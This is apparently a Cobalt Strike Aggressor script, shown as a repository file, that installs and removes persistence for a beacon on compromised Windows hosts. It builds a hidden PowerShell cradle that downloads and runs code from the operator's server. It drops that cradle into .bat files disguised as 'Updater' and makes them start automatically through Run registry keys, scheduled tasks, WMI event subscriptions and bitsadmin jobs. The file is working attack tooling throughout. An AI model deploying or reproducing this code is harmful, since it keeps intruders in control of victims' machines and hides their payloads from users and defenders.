/
persistence.cna
528 lines (513 loc) · 17.2 KB
/
persistence.cna
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alias persistence {
if (checkPSpayload($1)){
########### Add Menu #############
if ($2 eq "Add"){
if ($3 eq "RegKeyRun") {
addRegKeyRun($1,$2,$3,$4,$5,$6);
}
else if ($3 eq "SchTasks"){
if ($4 eq "OnIdle") {
addSchTasksOnIdle($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnStart") {
addSchTasksOnStart($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnLogon") {
addSchTasksOnLogon($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnTime") {
addSchTasksOnTime($1,$2,$3,$4,$5,$6);
}
else {
berror($1, "Specify OnIdle, OnStart, OnLogon, or OnTime.");
}
}
else if ($3 eq "WMI"){
if ($4 eq "OnStart"){
addWMIOnStart($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "Daily"){
addWMIDaily($1,$2,$3,$4,$5,$6);
}
else {
berror($1, "Specifiy OnStart or Daily.");
}
}
else if($3 eq "Bitsadmin"){
addBitsadminOnstart($1,$2,$3,$4,$5,$6);
}
else {
berror($1, "Specify RegKeyRun, SchTasks, or WMI.");
}
}
########### Remove Menu #############
else if ($2 eq "Remove"){
if ($3 eq "RegKeyRun") {
remRegKeyRun($1,$2,$3,$4,$5,$6);
}
else if ($3 eq "SchTasks"){
if ($4 eq "OnIdle") {
remSchTasksOnIdle($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnStart") {
remSchTasksOnStart($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnLogon") {
remSchTasksOnLogon($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnTime") {
remSchTasksOnTime($1,$2,$3,$4,$5,$6);
}
else {
berror($1, "Specify OnIdle, OnStart, OnLogon, or OnTime.");
}
}
else if ($3 eq "WMI"){
if ($4 eq "OnStart"){
remWMIOnStart($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "Daily"){
remWMIDaily($1,$2,$3,$4,$5,$6);
}
else {
berror($1, "Specifiy OnStart or Daily.");
}
}
else if ($3 eq "Bitsadmin"){
remBitsadmin($1,$2,$3,$4,$5,$6);
}
else {
berror($1, "Specify RegKeyRun, SchTasks, WMI, or Bitsadmin.");
}
}
else {
berror($1, "Specify Add or Remove.");
}
}
else {
berror($1, "Need PowerShell Web Delivery to add persistence.");
}
}
########### Subroutines #############
sub checkPSpayload{
foreach $site (sites()) {
if ($site['Description'] eq "Scripted Web Delivery (powershell)"){
return true;
}
}
}
sub uploadPSpayload {
foreach $site (sites()) {
if ($site['Description'] eq "Scripted Web Delivery (powershell)"){
$downloadstring = "http://" . $site['Host'] . ":" . $site['Port'] . $site['URI'];
$data = "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\'" . $downloadstring . "\'))\"";
bupload_raw($1, $payloadPath, $data);
}
}
}
sub GetPspay {
foreach $site (sites()) {
if ($site['Description'] eq "Scripted Web Delivery (powershell)"){
$downloadstring = "http://" . $site['Host'] . ":" . $site['Port'] . $site['URI'];
$data = "powershell.exe -nop -w hidden -c \\\"IEX ((new-object net.webclient).downloadstring(\'" . $downloadstring . "\'))\\\"";
return $data;
}
}
}
sub isAdmin {
return iff( right(beacon_info($1, "user"), 2) eq " *" , true, false);
}
sub addBitsadminOnstart{
if ($4) {
$payloadName = $4;
}
else {
$payloadName = "Updater";
}
$Path = 'C:\\windows\\temp\\Updater.bat';
$Pspay = GetPspay();
$data = "@echo off\r\n
bitsadmin /create $payloadName\r\n
bitsadmin /addfile $payloadName %comspec% %temp%\\cmd.exe\r\n
bitsadmin /SetNotifyCmdLine $payloadName \"%COMSPEC%\" \"cmd.exe /c $Pspay\"\r\n
bitsadmin /Resume $payloadName\r\n
del %0";
bupload_raw($1, $Path, $data);
bpowershell($1,$Path);
}
sub remBitsadmin{
if ($4) {
$payloadName = $4;
}
else {
$payloadName = "Updater";
}
$command = "bitsadmin /cancel $payloadName";
bpowershell($1,$command);
}
sub addRegKey
{
$powershell = "New-ItemProperty -Path " . $hive . ":" . $keyPath . " -Name " . $keyName . " -PropertyType String -Value " . $payloadPath;
bpowershell($1, $powershell);
}
sub remRegKey
{
$powershell = "Remove-ItemProperty -Path " . $hive . ":" . $keyPath . " -Name " . $keyName;
bpowershell($1, $powershell);
}
sub addRegKeyRun {
if ($4) {
$payloadName = $4;
$keyName = $4;
}
else {
$payloadName = "Updater";
$keyName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$hive = "HKLM";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
$hive = "HKCU";
}
$keyPath = "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\";
uploadPSpayload($1,$payloadPath);
addRegKey($1,$hive,$keyPath,$keyName,$payloadPath);
}
sub remRegKeyRun {
if ($4) {
$payloadName = $4;
$keyName = $4;
}
else {
$payloadName = "Updater";
$keyName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$hive = "HKLM";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
$hive = "HKCU";
}
$keyPath = "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\";
$command = "del " . $payloadPath;
bshell($1,$command );
remRegKey($1,$keyName);
}
sub addSchTasksOnIdle {
if ($5) {
if ($6) {
$payloadName = $6;
$taskName = $6;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . " /sc onidle /i " . $5;
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Specify number idle time.");
}
}
sub remSchTasksOnIdle {
if ($5) {
if ($6) {
$payloadName = $6;
$taskName = $6;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
bpowershell($1,$powershellcmd);
$command = "del " . $payloadPath;
bshell($1,$command );
}
else {
berror($1, "Specify number idle time.");
}
}
sub addSchTasksOnStart {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . " /sc onstart";
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Admin is needed for SchTasks OnStart.")
}
}
sub remSchTasksOnStart {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
bpowershell($1,$powershellcmd);
$command = "del " . $payloadPath;
bshell($1,$command );
}
else {
berror($1, "Admin is needed for SchTasks OnStart.")
}
}
sub addSchTasksOnLogon {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . " /sc ONLOGON";
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Admin is needed for SchTasks OnLogon.")
}
}
sub remSchTasksOnLogon {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
bpowershell($1,$powershellcmd);
$command = "del " . $payloadPath;
bshell($1,$command );
}
else {
berror($1, "Admin is needed for SchTasks OnStart.")
}
}
sub addSchTasksOnTime {
if ($5 eq "Hourly" || $5 eq "Daily" || $5 eq "Weekly" || $5 eq "Monthly") {
if ($6) {
$payloadName = $6;
$taskName = $6;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . " /sc " . $5;
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Specify Hourly, Daily, Weekly, or Monthly.");
}
}
sub remSchTasksOnTime {
if ($5 eq "Hourly" || $5 eq "Daily" || $5 eq "Weekly" || $5 eq "Monthly") {
if ($6) {
$payloadName = $6;
$taskName = $6;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
bpowershell($1,$powershellcmd);
$command = "del " . $payloadPath;
bshell($1,$command );
}
else {
berror($1, "Specify Hourly, Daily, Weekly, or Monthly.");
}
}
sub addWMIOnStart {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "\$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" . $taskName ."';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320\"};\$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace \"root\\subscription\" -Arguments @{Name='" . $taskName . "';ExecutablePath='" . $payloadPath ."';CommandLineTemplate ='" . $payloadPath . "'};Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=\$Filter;Consumer=\$Consumer};";
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Admin is needed for WMI.")
}
}
sub remWMIOnStart {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" . $taskName . "'\"| Remove-WmiObject;Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" . $taskName . "'\" | Remove-WmiObject; Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { \$_.filter -match '" . $taskName . "'} | Remove-WmiObject;";
bpowershell($1,$powershellcmd);
$command = "del " . $payloadPath;
bshell($1,$command );
}
else {
berror($1, "Admin is needed for WMI.")
}
}
sub addWMIDaily {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "\$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" . $taskName ."';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 13 AND TargetInstance.Minute = 00 GROUP WITHIN 60\"};\$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace \"root\\subscription\" -Arguments @{Name='" . $taskName . "';ExecutablePath='" . $payloadPath ."';CommandLineTemplate ='" . $payloadPath . "'};Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=\$Filter;Consumer=\$Consumer};";
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Admin is needed for WMI.")
}
}
sub remWMIDaily {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" . $taskName . "'\"| Remove-WmiObject;Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" . $taskName . "'\" | Remove-WmiObject; Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { \$_.filter -match '" . $taskName . "'} | Remove-WmiObject;";
bpowershell($1,$powershellcmd);
$command = "del " . $payloadPath;
bshell($1,$command );
}
else {
berror($1, "Admin is needed for WMI.")
}
}
##### Help Menu ######
beacon_command_register(
"persistence",
"add or remove persistence capabilities to a beacon",
"add or remove persistence capabilities to a beacon
Usage: persistence [Add | Remove] [method] [arguments]
Available methods:
RegKeyRun <payload / key name>
Bitsadmin <payload>
SchTasks OnIdle [idle time] <payload / task name>
SchTasks OnTime [Hourly | Daily | Weekly | Monthly] <payload / task name>
*SchTasks OnStart <payload / task name>
*SchTasks OnLogon <payload / task name>
*WMI OnStart <payload / task name>
*WMI Daily <payload / task name>
* = method needs admin
[] = requireed argument
<> = optional argument
");